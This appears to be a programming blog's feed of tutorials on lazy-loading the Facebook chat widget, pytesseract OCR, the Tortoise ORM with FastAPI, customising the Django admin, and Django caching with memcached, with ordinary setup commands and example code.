<div class="position-fixed" id="fb-chat-logo" style="bottom: 20px;right:20px; z-index: 1;"><svg width="60px" height="60px" viewBox="0 0 60 60" cursor="pointer"><svg x="0" y="0" width="60px" height="60px"><g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"><g><circle fill="#0A7CFF" cx="30" cy="30" r="30"></circle><svg x="10" y="10"><g transform="translate(0.000000, -10.000000)" fill="#FFFFFF"><g id="logo" transform="translate(0.000000, 10.000000)"><path d="M20,0 C31.2666,0 40,8.2528 40,19.4 C40,30.5472 31.2666,38.8 20,38.8 C17.9763,38.8 16.0348,38.5327 14.2106,38.0311 C13.856,37.9335 13.4789,37.9612 13.1424,38.1098 L9.1727,39.8621 C8.1343,40.3205 6.9621,39.5819 6.9273,38.4474 L6.8184,34.8894 C6.805,34.4513 6.6078,34.0414 6.2811,33.7492 C2.3896,30.2691 0,25.2307 0,19.4 C0,8.2528 8.7334,0 20,0 Z M7.99009,25.07344 C7.42629,25.96794 8.52579,26.97594 9.36809,26.33674 L15.67879,21.54734 C16.10569,21.22334 16.69559,21.22164 17.12429,21.54314 L21.79709,25.04774 C23.19919,26.09944 25.20039,25.73014 26.13499,24.24744 L32.00999,14.92654 C32.57369,14.03204 31.47419,13.02404 30.63189,13.66324 L24.32119,18.45264 C23.89429,18.77664 23.30439,18.77834 22.87569,18.45674 L18.20299,14.95224 C16.80079,13.90064 14.79959,14.26984 13.86509,15.75264 L7.99009,25.07344 Z"></path></g></g></svg></g></g></svg></svg></div>

Now, let’s get and link this icon with mouseover, click, ontouchstart and ontouchmove events, so that any interaction with the icon will load the facebook code.

const fakeFbChatLogo = document.getElementById('fb-chat-logo');

['click','ontouchstart', 'mouseover', 'ontouchmove'].forEach(evt => 
    fakeFbChatLogo.addEventListener(evt, loadFacebookChat, false)
);

And we will pass it a function called loadFacebookChat that we will create next.

function loadFacebookChat() {
      var chatbox = document.getElementById('fb-customer-chat');

      chatbox.setAttribute("page_id", "TU_FACEBOOK_CHAT_ID");
      chatbox.setAttribute("attribution", "biz_inbox");

      (function(d, s, id) {
        var js, fjs = d.getElementsByTagName(s)[0];
        if (d.getElementById(id)) return;
        js = d.createElement(s); js.id = id;
        js.src = 'https://connect.facebook.net/es_LA/sdk/xfbml.customerchat.js';
        fjs.parentNode.insertBefore(js, fjs);
      }(document, 'script', 'facebook-jssdk'));
    ['click','ontouchstart', 'mouseover', 'ontouchmove'].forEach(evt => {
    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, false)
});
      // window needs to be the latest to prevent FB not defined 
      window.fbAsyncInit = function() {
        FB.init({
          xfbml            : true,
          version          : 'v11.0'
        }) ;
        // 
        FB.Event.subscribe('xfbml.render', function(){
          FB.CustomerChat.show(true);
          fakeFbChatLogo.remove();      
        });
      }
}

The content of the function is the same as you get from facebook documentation but with two small extra steps.

The first step is to remove the eventListener we created so that it will no longer be executed once the user interacts with the fake icon.

['click','ontouchstart', 'mouseover', 'ontouchmove'].forEach(evt => {
    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, false)
});

The second step is a subscription to the xfbml.render event, method that will be executed when our chat is rendered. It is optional to open the chat instantly for the user to see interaction, I have done it this way. And, as a final step, we remove our fake icon, so that it is not displayed along with the original.

FB.Event.subscribe('xfbml.render', function(){
          FB.CustomerChat.show(true); //opcional
          fakeFbChatLogo.remove();      
        });
      }

With the previous steps we are delaying the loading of the content until the user interacts with it. In this way the loading of the plugin is delayed until the user wants to use it, avoiding the impact on the initial load.

The plug-in script is not activated until we interact with the icon

See how the fb appears to load normally and there is a small icon change, the animation or extra details you can customize to your liking with CSS and its animations.

Minimal Pytesseract tutorial OCR with Python

Tue, 28 Sep 2021 00:00:00 +0000

Python is super versatile, it has a giant community with libraries that allow you to create neural networks from scracth, fine-tune a LLM or use Optical Character Recognition (OCR). For the latter you just need to install tesseract and python bindings, known as pytesseract and you’ll be ready to convert an image to a string in a breeze.

Pytesseract tutorial using Python

To perform OCR with Python, and extract text from an image, we will need tesseract, which is the library that handles all the heavy lifting and image processing.

Make sure you install the newest tesseract-ocr, there is a huge difference between version 3 and versions after 4, as neural networks were implemented to improve character recognition. I am using version 5 alpha for this tutorial.

sudo apt install tesseract-ocr
tesseract -v
tesseract 5.0.0-alpha-20201224-3-ge1a3

Differences in OCR engine efficiency between tesseract 3 and tesseract 5 alpha.

Comparison between OCR performance of tesseract 3 and tesseract 5

Installing languages in tesseract

We can see which languages are installed with –list-langs.

tesseract --list-langs

It is obvious, but it is necessary to mention that the extent to which it recognizes the text will depend on whether we use it in the correct language. Let’s install the Spanish language.

sudo apt install tesseract-ocr-spa
tesseract --list-langs
List of available languages (3):
eng
osd
spa

You will see that Spanish is now installed and we can use it to detect the text in our images by adding the -l spa option to the end of our command

Optical Character Recognition with Tesseract

Now let’s put it to the test to recognize text in images, straight from the terminal. I am going to use the following image:

File: image_with_text.jpg

tesseract image_with_text.jpg -
Warning: Invalid resolution 0 dpi. Using 70 instead.
Estimating resolution as 139
Do you have the time to listen to me whine
...

The “-” at the end of the command tells tesseract to send the results of the analysis to the standard output, so that we can view them in the terminal.

It is possible to tell tesseract which OCR engine to use:

0: for the original tesseract
1: for neural networks
2: tesseract and neural networks
3: Default, whichever is available

tesseract image_with_text.jpg - --oem 1

Consider that not all language files work with the original tesseract (0 and 3). Although generally the neural networks one is the one that gives the best result. You can find the models compatible with the original tesseract and neural networks in the tesseract repository .

You can install them manually by downloading them and moving them to the appropriate folder, in my case it is /usr/local/share/tessdata/, but it may be different on your system.

wget https://github.com/tesseract-ocr/tessdata/raw/main/eng.traineddata
sudo mv eng.traineddata /usr/local/share/tessdata/

Optical Character Recognition with Pytesseract

Installing pytesseract

After installation we add pytesseract (the python bindings) and pillow (for image management) to our virtual environment.

pip install pytesseract pillow

Read strings from images with pytesseract

First let’s check the languages we have installed on our system. We can use Python for that and get_languages method

import pytesseract
from PIL import Image
import pytesseract

print(pytesseract.get_languages())
# ['eng', 'osd', 'spa']

Now that we have the languages, we can read the text that’s in our images and process it as a string in our script.

The code is quite short and self-explanatory. Basically we pass the image as an argument to pytesseract’s image_to_string method.

import pytesseract

from PIL import Image
import pytesseract

img = Image.open("image_with_text.jpg") # Open the image with pillow
img.load()
text = pytesseract.image_to_string(img, lang='eng') # Extract image's text
print(text)

# Do you have the time to listen to me whine...

image_to_string method can receive as argument the language in which we want it to detect the text.

Tesseract when with a method with which we can obtain much more information from the image, image_to_data, available for versions higher than 3.05.

data = pytesseract.image_to_data(img)
print(data)

If you want to learn more visit the complete tesseract documentation .

Applications of Optical Character Recognition

OCR is quite useful for social networks, where you can scan the text that appears in the images to read its content and then process it or give it statistical treatment.

Here’s another case, imagine a program that scans image boards or social networks, extracts a couple of images from the posted videos and links them to a tik tok account using the watermark that appears on each video.

Anti-bot Captcha resolution is also one of the most interesting uses of Optical Character Recognition, widely use to scrap big websites like Amazon, Meli or others.

Or maybe a page that uploads images of your products with your prices written on each of them. With Optical Character Recognition it is possible to get all their prices, and upload them to your database, downloading and processing their images.

Facebook must use some kind of similar technology to censor images that include offensive text, according to its policies, that are uploaded to its social network.

You can create an MCP server that reads documents.

Facebook is capable of reading the text on its images

Another of the most common applications is the transformation of a pdf book into images to text, ideal for transforming old book scans to epub or text files.

As you can see it is quite useful, I think it is one of the IA applications that will not go away when the AI overhype stops or the bubble explodes .

Python tortoise ORM integration with FastAPI

Tue, 21 Sep 2021 00:00:00 +0000

One of the things I like most about Django is its ORM; one of the reasons why this framework is so popular . On the other hand FastAPI does not have an ORM and focuses solely on serving endpoints, showing agnostic on the basis of data. There are enough options ORM to python: django-alchemy, peewee, ponyORM, tortoise. The latter, besides being asynchronous, is inspired by the django ORM, so its syntax is quite similar, even many tortoise functions share name with its Django counterpart, so users who use the Django ORM will save a lot of time learning tortoise functions.

For this tutorial I’m going to use fastAPI and tortoise-orm together so make sure you know at least the basics of the fastAPI framework and database basics.

Tortoise compatibility

Tortoise is compatible with the following databases.

PostgreSQL >= 9.4 (using asyncpg)
SQLite (using aiosqlite)
MySQL/MariaDB (using aiomysql or asyncmy)

But for this example I am going to use SQLite, because it does not need any kind of configuration.

Installation of the Python tortoise ORM

To install tortoise-orm just use the virtual environment manager of your choice, I will use pipenv.

pip install tortoise-orm

I will also install fastAPI and other utilities we will need

pip install python-multipart fastapi uvicorn pydantic

Create models with tortoise

Let’s create a directory called app and a models file called models.py.

# app/models.py
from tortoise.models import Model
from tortoise import fields

class Job(Model):
    # El campo de la llave primaria se crea automáticamente
    # id = fields.IntField(pk=True) 
    name = fields.CharField(max_length=255)
    description = fields.TextField()

    def __str__(self):
        return self.name

If you notice the syntax is quite similar to the Django fields, even some parameters are the same.

To start working with the tortoise ORM we need:

Connect to the database.
Create the necessary table(s).

Connecting to database with tortoise

We are going to create a function to connect to the database in a directory called database:

# database/connectToDatabase.py
from tortoise import Tortoise

async def connectToDatabase():
    await Tortoise.init(
        db_url='sqlite://db.sqlite3',
        modules={'models': ['app.models']}
    )

Generating schematics with tortoise

Now let’s create a function to generate the models in the root of our application.

# createSchema.py
from tortoise import Tortoise, run_async
from database.connectToDatabase import connectToDatabase

async def main():
    await connectToDatabase()
    await Tortoise.generate_schemas()

if __name__ == '__main__':
    run_async(main())

Observe how we import the function to connect that we have just created and then call the generate_schemas() method, which will read our models and make the changes in the database.

Another aspect you should appreciate is that we run the main function inside the run_async() function provided by tortoise. This is necessary for our await functions to run, otherwise only a corroutine object would be created.

Why do we place this method in an external file? Because generate_schemas() only needs to be used once; when the tables are created. We should not include it in the file that will be run when fastAPI is executed.

Knowing that, let’s run it to create our tables.

python3 createSchema.py

If everything went well we will already have the tables created in our SQLite database.

tortoise integration with fastAPI

We will start with a simple fastAPI application.

To connect fastAPI with tortoise, the latter gives us a function called register_tortosise(). That receives the instance we created with fastAPI, the address to the database and the location of our models.

# main.py
from fastapi import FastAPI
from database.connectToDatabase import connectToDatabase

app = FastAPI()
await connectToDatabase()

@app.get("/")
async def read_root():
    return {"Hello": "World"}

register_tortoise(
    app,
    db_url="sqlite://db.sqlite3",
    modules={"models": ["app.models"]},
    generate_schemas=True,
    add_exception_handlers=True,
)

Create an object with tortoise

To create an object we can choose to call the create() method of the model, inside a function decorated with the post() method of our instance, or also create an instance and then call its save() method.

# main.py
from fastapi import FastAPI
from tortoise.contrib.fastapi import HTTPNotFoundError, register_tortoise

app = FastAPI()

@app.get("/")
async def read_root():
    return {"Hello": "World"}

@app.post("/job/create/", status_code=201)
async def create_job(name=Form(...), description=Form(...)):
    job = await Job.create(name=name, description=description)
    return {"status":"ok"}
# ...

If we now make a web request using the documentation interface that fastAPI creates, in /docs/, we will see that we will be able to create a Job object using a name and a description.

Serializing objects with pydantic and tortoise

We have created the object, but what if we want to return the object after creating it? Since it is an instance of a model, we can’t just return it like that. We need a data type suitable for an HTTP response.

Pydantic allows us to serialize database objects in order to return them as JSON response or whatever we want.

We must import the pydantic_model_creator function and pass it our model as a parameter.

# main.py
from fastapi import FastAPI
from app.models import Job
from tortoise.contrib.fastapi import HTTPNotFoundError, register_tortoise
from tortoise.contrib.pydantic import pydantic_model_creator

app = FastAPI()

job_pydantic = pydantic_model_creator(Job)

@app.get("/")
async def read_root():
    return {"Hello": "World"}

@app.post("/job/create/", status_code=201)
async def create_job(name=Form(...), description=Form(...)):
    job = await Job.create(name=name, description=description)
    return await job_pydantic.from_tortoise_orm(job)

register_tortoise(
    app,
    db_url="sqlite://db.sqlite3",
    modules={"models": ["app.models"]},
    add_exception_handlers=True,
)

And to get our object in JSON we call the method to the from_tortoise_orm() method of the object we just created.

Remember to prefix the word await or what you will return is a corroutine.

Obtain a list of objects from a queryset

We will use the get() method of our fastAPI instance.

To obtain a list of objects we use the all() method and serialize the result with from_queryset().

# main.py

# ...

@app.get("/jobs/")
async def get_jobs():
    return await job_pydantic.from_queryset(Job.all())

Updating an object with tortoise

Now create an endpoint that receives an id and is decorated with the put() method. We pass as response_model the job_pydantic object, to validate the data input, include it in the documentation and limit the response to modifiable fields .

We will also create a second job_pydantic object, i.e. another serializer, which excludes the read-only fields (our primary key), to return them without id.

And, to update an object, we use the fastAPI put method and receive the id of the object to edit. Then we filter those objects that match the id with Job.filter() and then call its update() method. Since the id is unique, as it is a primary key, only the object whose id matches the data we send will be edited.

# main.py

job_pydantic = pydantic_model_creator(Job)
job_pydantic_no_ids = pydantic_model_creator(Job, exclude_readonly=True)
# ...

@app.put("/job/{job_id}", response_model=job_pydantic, responses={404: {"model": HTTPNotFoundError}})
async def update_job(job_id: int, job: job_pydantic):
    await Job.filter(id=job_id).update(**job.dict())
    return await job_pydantic_no_ids.from_queryset_single(Job.get(id=job_id))

Obtain an object with tortoise

Now we can apply the same method as in the previous section. This time we will need an id and the fastAPI’s get() method. We pass it the response_model to take care of the validation and define that the only parameter we will use will be the id, with which we will use the from_queryset_single() method on the result of the ORM query: Job.ge_t(id=job_id)_.

# main.py

# ...

@app.get("/job/{job_id}", response_model=job_pydantic, responses={404: {"model": HTTPNotFoundError}})
async def get_job(job_id: int):
    return await job_pydantic_no_ids.from_queryset_single(Job.get(id=job_id))

Remove an object with tortoise

To delete an object we will also need an id and call fastAPI’s delete() method, so the function would look like this:

# main.py
class Status(BaseModel):
    message: str
# ...

@app.delete("/job/{job_id}", response_model=Status, responses={404: {"model": HTTPNotFoundError}})
async def delete_job(job_id: int):
    deleted_job = await Job.filter(id=job_id).delete()
    if not deleted_job:
        raise HTTPException(status_code=404, detail=f"Job {job_id} not found")
    return Status(message=f"Deleted job {job_id}")

We filter by the id we get in the url and, if we find the object, we delete it, in case the id of that object does not exist we will return a 404 error through an exception. In case it does, we will no longer return the object, but it will be enough that we return a message warning that the id was deleted.

And with that we can perform basic CRUD operations in fastAPI using tortoise as ORM. In this entry I haven’t discussed foreign keys, foreign key fields, many to many, or other kinds of relationships between models. I will probably make a future post about that, in the meantime you can read the official tortoise documentation

The django admin panel and its customization

Tue, 14 Sep 2021 00:00:00 +0000

One of the best features of django is that it has the django admin panel, a ready-to-use administration panel, with basic functions such as create, read, edit and delete models, users, groups and permissions. All ready to use just by setting up your application. But sometimes our needs are different, what if we want to modify the appearance or functions of the interface? Fortunately Django includes many functions to customize the behavior of the admin, I will explain some of them below.

The django admin panel is so well designed, and it works out of the box, is definitely one of the reasons why you should consider using Django instead of other frameworks.

Checking that django admin panel is active

If you started your project with the startproject command, the django administration panel will be activated by default. If you go to /admin/ the login screen will appear.

django admin panel screen

If not, or if you start from a previous installation, you must first make sure that it is installed in your configuration file, as well as its dependencies:

django.contrib.auth
django.contrib.contenttypes
django.contrib.messages
django.contrib.sessions

After all, if you can’t authenticate or log in, you won’t be able to enter the administration panel, will you?

INSTALLED_APPS = [
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    # ...
]

You must also add django.contrib.messages.context_processors.messages and django.contrib.auth.context_processors.auth to the context_processors option in the TEMPLATES variable of your settings.py file.

In the same way add django.contrib.auth.middleware.AuthenticationMiddleware and django.contrib.messages.middleware.MessageMiddleware to the MIDDLEWARE variable of your settings.py file as well.

Now that we are sure that the admin package is active, let’s start by adding a model. I’m going to use a hypothetical model called Videogame that looks like this

# videogameStore/models.py
from django.db import models
GENRES = (
        ('HR', 'Horror'),
        ('AD', 'Adventure')
    )

class Videogame(models.Model):
    name = models.CharField(max_length=256)
    description = models.TextField(blank=True)
    genre = models.CharField(choices=GENRES, max_length=2)
    rating = models.FloatField()
    created = models.DateTimeField(auto_now_add=True)
    modified = models.DateTimeField(auto_now=True)

    def __str__(self):
        return self.name

Adding a template to the django admin panel

Let’s start with the basics, adding a model to the admin.

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

admin.site.register(Videogame)

With this we will have a modifiable model in the admin.

If we enter the url /admin/ and log in, we will be able to see the interface working.

Note the absence of the search bar

If we click on the gray button in the upper right corner we can add a model.

Modifying the fields that appear in django admin

In the admin.py file inside our Django application we are going to inherit from the admin.ModelAdmin class.

We can endow this model with the list_display property, to tell the admin which fields we want to list in the manager.

The search_field property allows us to specify on which fields the search will be performed.

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

class VideogameAdmin(admin.ModelAdmin):
      list_display = ('name', 'created') #now this field should show more data about
      search_fields = ('name', 'description')

admin.site.register(Videogame, VideogameAdmin)

See the created field and the search bar

Change the order of the fields when editing

If we want to modify the order of the fields we add a fields property to our class

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

class VideogameAdmin(admin.ModelAdmin):
      list_display = ('name', 'created') 
      search_fields = ('name', 'description')
      fields = ('description', 'name', 'genre', 'rating')
admin.site.register(Videogame, VideogameAdmin)

As you can see, the order in which the fields appear has been modified. In order Description, Name, Genre and Rating, just as we specified.

Notice how the order has changed from that specified in the fields property.

Sorting objects by a field

Ordering specifies the field to be used for ordering the models.

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

class VideogameAdmin(admin.ModelAdmin):
      list_display = ('name', 'created') 
      search_fields = ('name', 'description')
      fields = ('description', 'name', 'genre', 'rating')
      ordering = ('-name',)
admin.site.register(Videogame, VideogameAdmin)

Here we have told you to order them by name, in descending order, using the “-” symbol.

Note the arrangement of the models in descending order

Modifying the header, title and description on django admin page

If you want to give a personalized touch to the Django admin, even giving it the name of your business, or your client’s business. You can do this by modifying the properties of the Admin model as follows:

# videogameStore/admin.py
# ...
admin.site.site_header = 'Site name'
admin.site.index_title = 'Control panel of the site'
admin.site.site_title = 'title in the browser tab'

Now you can see that in the main page of the admin you can see the changes we have made.

The three labels have changed

Sorting objects according to a date field

If we add a date_hierarchy field to our model, we will be able to sort the fields according to a DateTimeField or DateField type field in our model.

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

class VideogameAdmin(admin.ModelAdmin):
    # ...
    date_hierarchy = 'created'
admin.site.register(Videogame, VideogameAdmin)

The legend April2021 and April 30 appear after placing date_hierarchy

Create custom dynamic fields

We can also create special fields, which are not part of the model, and which are generated dynamically according to information from the model’s own fields or from elsewhere. For example a field that classifies an object according to its ratings.

To create such a field we add the field name to list_display (to tell the admin to display it) and create a method with the same name, this method receives the individual object and must return what we want to be displayed on the screen.

# videogameStore/admin.py
class VideogameAdmin(admin.ModelAdmin):
    list_display = ('name', 'created', 'popular')
    # ...

    def popular(self, obj):
        return "Popular" if obj.rating > 4.5 else "It's not popular"

Create actions for the Django admin

All models have the delete action available, which allows you to select several rows from the database and delete them.

In addition to the delete action we can create our own actions that modify our admin elements in the way we wish

As an example we are going to create an action that allows us to set a rating of 5.0 to our objects.

First, we create a function that receives modeladmin, request and the queryset as arguments. The queryset will contain all the objects that we will select in the interface. And we can also add a message to be displayed when the action is executed.

# videogameStore/admin.py
from django.contrib import admin
from django.contrib import messages
from .models import Videogame
# Register your models here.

class VideogameAdmin(admin.ModelAdmin):
    # ...

    def rate_five_stars(modeladmin, request, queryset):
        queryset.update(rating=5.0)
        messages.success(request, "Was rated with 5 stars")

    admin.site.add_action(rate_five_stars, "Add 5 stars rating")

Once the method is created, we add it to the admin through its add_action() method, passing it the method we created and the name we want to appear on the screen to refer to that action, as the first and second arguments, respectively.

If we select some elements and execute the action, it will rate them with 5 stars and the message we defined will appear.

Installing external templates for django admin

There are quite a few packages that allow quite sophisticated modifications of django admin, which can even turn it into a CMS, just like Wordpress, with which you can deliver to your customers a fully functional application ready to be used by non-technical people.

Examples of the above include the following packages:

Each one is a topic in itself, so I cannot summarize them in a single entry.

Example of visual enhancement with django material admin

Finally, I will show you an example of visual enhancement with django-material-admin.

Let’s install it.

pip install django-material-admin

And now we modify our INSTALLED_APPS variable

# settings.py
# ...

INSTALLED_APPS = [
    'material',
    'material.admin',
    # removemos django.contrib.admin
    'django.contrib.auth',
    # ...
]

We can add an extra field to our admin models to change the icons, just put the name that appears in the materialize documentation .

# videogameStore/admin.py
from django.contrib import admin
from .models import Videogame

class VideogameAdmin(admin.ModelAdmin):
    # ...
    icon_name = 'gamepad'
admin.site.register(Videogame, VideogameAdmin)

If we now access the admin, we will be able to see a new, much more stylish terminal. And also a more eye-catching administration panel.

Django administration panel with django-material

django admin login panel with django-material

I used this package especially because it installs easily and gives a completely different look to the admin. But there are many other options available that you can choose from, some paid and some free.

Security in django admin

It is advisable to change the default url, /admin/, to a less obvious one, this in order to prevent brute force attacks, if the attacker does not know the django admin address, it will be impossible for him to try to guess your password by brute force.

There are also packages that create a fake admin panel that you can monitor, to find out which IP addresses are trying to take over your site via the admin panel, one of them is django-admin-honeypot . Once you identify these IP addresses, you can limit their access, blacklist them or block them completely.

If you need extra functionality for the admin, check the official Django documentation .

Caching in Django REST Framework using memcached

Tue, 07 Sep 2021 00:00:00 +0000

To use the cache in django, just follow three simple steps:

Install a caching system, be it redis, memcached, etc.
Set the CACHES variable to the settings.py file of the project.
Add the middleware necessary for django to return the cache before processing the view.
Use the low-level cache to cache specific views or data (optional).

Implementing a caching system allows you to greatly improve the performance of an application made in Django .

How much does caching improve performance?

The effect the cache will have depends on many factors. However, just to give you an idea, here I have a comparison of a query that fetches 1000 rows from a database of a model with no relationships to other models.

As you can see the difference is almost 10 times the time.

If you’re in a situation where your application’s performance is critical , cache is definitely one of the first steps that you have to make in order to improve your site’s speed.

Installing memcached, a cache backend in django

Caching in django requires memcached, redis or another caching backend method.

Memcached is the fastest and most efficient method according to django developers, so we will use this one. Memcached, is memory based and is allocated a fixed amount of RAM that it can use, it is quite fast to implement and simple to use. It is also included in the repositories of many GNU/Linux distributions.

sudo apt install memcached

Verify that the system is running with the systemctl command, update-rc, systemE or whatever your system process manager is.

sudo systemctl status memcached
● memcached.service - memcached daemon
     Loaded: loaded (/lib/systemd/system/memcached.service; enabled; vendor preset: enabled)
     Active: active (running) since Wed 2021-09-08 10:16:31 CDT; 5h 46min ago

It’s pretty obvious, but I feel I should mention it: remember that memcached stores data in memory, it will be deleted when the system is shut down or rebooted. Therefore you should make sure to use memcached only as a temporary storage and store content there that you wouldn’t mind losing or that you plan to dump later to a database.

Installing cache backend bindings in Django

I will install the following dependencies for this tutorial:

djangorestframework: for creating REST APIs .
django-debug-toolbar: to compare performance before and after caching.
django-seed: to automatically create data in the database.
pymemcache: to allow python to interact with memcached.

Some older tutorials use python-memcached to interact with memcached, however the use of this library is discouraged by django since version 3.2

pip install djangorestframework django-debug-toolbar django django-seed pymemcache

Once we have the applications installed and configured we are going to start applying cache. We add the following lines to our configuration file.

You can use django-seed to populate your database tables.

python manage.py seed nameOfYourApp --number=1000

How to configure cache in in django

To configure the behavior of the cache we will create a variable called CACHES, where we will specify the backend we want to use and its location. In this case it will be localhost, with port 11211; the default port for memcached.

# settings.py
CACHES = {
    'default': {
    'BACKEND': 'django.core.cache.backends.memcached.PyMemcacheCache',
    'LOCATION': '127.0.0.1:11211',
    }
}

CACHES has more configuration variables that I will list below:

Arguments of configuration variable CACHES

CACHES can receive a number of arguments to modify its behavior:

TIMEOUT: The time the cache lasts, None so that it never expires, default value is 300 seconds.
MAX_ENTRIES: The number of entries the cache stores, if the oldest cache is exceeded it will be deleted to store the newest cache, default value is 300.
CULL_FREQUENCY: The proportion of entries to be deleted when MAX_ENTRIES is reached. If this value is equal to 2, half of the entries will be removed when MAX_ENTRIES is reached. If you set it to a value of 0 the entire cache will be removed when MAX_ENTRIES is reached. Default value is 3.
KEY_PREFIX: A prefix added to the cache name, it is used to identify our cache. This is to avoid collisions with other applications that are using the cache, or simply to identify it.
VERSION: The version with which we want to name our cache.
KEY_FUNCTION: here we can pass a string that specifies the address to a function that sets the prefix, the version and the key with which the cache will be saved. For example: ‘cacheConfig.cacheNamegenerator’.

# settings.py
CACHES = {
    'default': {
    'BACKEND': 'django.core.cache.backends.memcached.PyMemcacheCache',
    'LOCATION': '127.0.0.1:11211',
    'TIMEOUT': 60,
    'OPTIONS': {
        'MAX_ENTRIES': 1000
    }
}
}

Put on cache all over the web site

To cache the entire Django website, just add two middlewares:

django.middleware.cache.UpdateCacheMiddleware
django.middleware.cache.FetchFromCacheMiddleware

Make sure that django.middleware.cache.UpdateCacheMiddleware is the first middleware in your list and django.middleware.cache.FetchFromCacheMiddleware is the last.

In the same way django.middleware.common.CommonMiddleware must be active.

While these middlewares are active, Django will cache any page that receives GET and HEAD methods and returns an HTTP status of 200.

MIDDLEWARE = [
    'django.middleware.cache.UpdateCacheMiddleware',
    'django.middleware.common.CommonMiddleware',
    'django.middleware.cache.FetchFromCacheMiddleware',
]

If you examine a request you will see that the Cache-Control header already specifies a value of max-age=600, the default value.

curl -i 127.0.0.1:8000/videogames/videogames/ | less
Cache-Control: max-age=600

If instead of using the terminal we enter the browser, we will see how the django_debug_toolbar already shows us that the cache is being used.

Look how in the cache column, we already have two calls.

He also mentioned that Django’s per-site cache is not compatible with the django-debug-toolbar, so you probably won’t see it reflected in the bar.

Cache per django view

But what if you don’t want to cache the entire website? Most websites are a mix of dynamic pages and static pages. You probably only want to leave the static pages, or pages that change rarely, in cache and make sure that your user receives the dynamic pages with updated content, also you probably don’t want to cache pages that depend on user’s session. That means that only certain views should be cached.

To cache the result of a view just use the @cache_page decorator provided by django and pass the time you want django to cache, in seconds, for that view.

from django.utils.decorators import method_decorator
from django.views.decorators.cache import cache_page

from rest_framework import serializers
from rest_framework import viewsets

from ..models import Videogame
from .serializers import videogameSerializer

class VideogameViewSet(viewsets.ModelViewSet):
    queryset = Videogame.objects.all().order_by('-created')
    serializer_class = videogameSerializer

    @method_decorator(cache_page(60*60*2)) # 7200 segundos o 2 horas
    def list(self, *args, **kwargs):
        return super().list(*args, **kwargs)

Notice how I have used the decorator in the list() method of our ModelViewSet and, to make it execute its normal function, I have called the super() method with the same arguments.

You can also cache the dispatch() method for a solution that applies to the most used generic DRF classes.

class VideogameViewSet(viewsets.ModelViewSet):
    queryset = Videogame.objects.all().order_by('-created')
    serializer_class = videogameSerializer

    @method_decorator(cache_page(60*60*2))
    def dispatch(self, *args, **kwargs):
        return super(VideogameViewSet, self).dispatch(*args, **kwargs)

If we execute the curl command on the view to which we added the decorator, we will see that the cache-control header appears with the time we passed as argument.

curl -i http://127.0.0.1:8000/videogames/videogames/
HTTP/1.1 200 OK
Date: Sat, 28 Aug 2021 00:45:57 GMT
Server: WSGIServer/0.2 CPython/3.9.2
Content-Type: application/json
Vary: Accept, Cookie
Allow: GET, POST, HEAD, OPTIONS
Expires: Sat, 28 Aug 2021 02:45:57 GMT
Cache-Control: max-age=7200
X-Frame-Options: DENY
Content-Length: 4991
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Server-Timing: TimerPanel_utime;dur=40.300000000000004;desc="User CPU time", TimerPanel_stime;dur=4.150000000000015;desc="System CPU time", TimerPanel_total;dur=44.45000000000002;desc="Total CPU time", TimerPanel_total_time;dur=45.484066009521484;desc="Elapsed time", SQLPanel_sql_time;dur=4.948616027832031;desc="SQL 2 queries", CachePanel_total_time;dur=0.33092498779296875;desc="Cache 1 Calls"

Django stores each cache entry per url, not per view, so if you use the same view for multiple urls, each url will be put in a different cache entry.

Cache by value

Here we are caching the result of a url, but what if we only want to cache the result of an expensive query or rendering, or perhaps a specific value?

We can work directly with memcached using django, associating a key with a value and assigning it a lifetime. Once the lifetime has elapsed the value will be deleted and we will get None if we try to access it.

You can think of the cache as a Python dictionary with an expiration date.

Caching by value allows us to create patterns like this:

from rest_framework.response import Response
from yourApp.models import Large
from yourApp.api.serializers import LargeSerializer
from django.core.cache import cache

class LargeViewSet(viewsets.Viewset):

    def list(self, request):
        expensiveQueryset = cache.get('costlyQueryset') # devuelve None si no existe
        if expensiveQueryset:
            return Response(expensiveQueryset)
        costlyQueryset = Large.objects.all()
        serializer = LargeSerializer(costlyQueryset)
        # Una vez calculado lo guardamos en caché para no tener que calcularlo de nuevo
        cache.set('costlyQueryset', serializer.data, 60*180)
        return Response(serializer.data)

If we want to use default values if there is no value in the cache we pass the value as the second argument.

cache.get('expensiveValue', 'defaultValue')

We can also obtain multiple keys by passing a list of keys to the get_many() method.

cache.get_many(['key_1', 'key_2'])

And if we want to get rid of some value we use the delete() method.

cache.delete('key')

Cache relying on cookies, headers and no-cache

What if we want django to cache different versions of a response depending on a specific cookie or header? For example, one cache for the path /videogames/ with the CONFIG=1 cookie and another for the CONFIG=2 cookie. Or, or one cache for the path /videogames/ with the Firefox browser and another with the Chromium browser.

We have decorators who are in charge of achieving exactly this.

vary_on_headers

vary_on_headers will set a different cache response for each different userAgent header. Remember that cookies are set using headers.

from django.views.decorators.vary import vary_on_headers

@vary_on_headers('UserAgent')
def different_view_per_user_agent(request):
# ...

@vary_on_headers('UserAgent', 'Cookie')
def different_view_per_user_agent(request):
# ...

vary_on_cookie

This decorator will create a different cache entry for each cookie that receives our view.

from django.views.decorators.vary import vary_on_headers

@vary_on_cookie
def different_view_per_cookie(request):
# ...

Since django keeps track of each individual session using cookies, we can cache the views per user

from rest_framework.response import Response
from rest_framework.views import APIView
from rest_framework import viewsets

class UserViewSet(viewsets.Viewset):

    # Caché por usuario que dura 30 minutos
    @method_decorator(cache_page(60*30))
    @method_decorator(vary_on_cookie)
    def list(self, request):
        newsfeed = {
            'user_newsfeed': request.user.get_user_newsfeed()
        }
        return Response(newsfeed)

Other cache headers

We can directly modify the header cache-control directives by passing them as arguments to our decorator of the same name.

from django.views.decorators.cache import cache_control

@cache_control(must_revalidate=True, max_age=3600)

We can specify other cache headers such as the following:

public=True
private=True
no_cache=True
no_transform=True
must_revalidate=True
proxy_revalidate=True
max_age=num_seconds
s_maxage=num_seconds

For a complete list of directives and what each one does visit protocol specifications .

Do not frisk

If we want to prevent django from caching our views we mark them with the decorator @never_cache.

from django.views.decorators.cache import never_cache

@never_cache
def some_random_view():
    #...

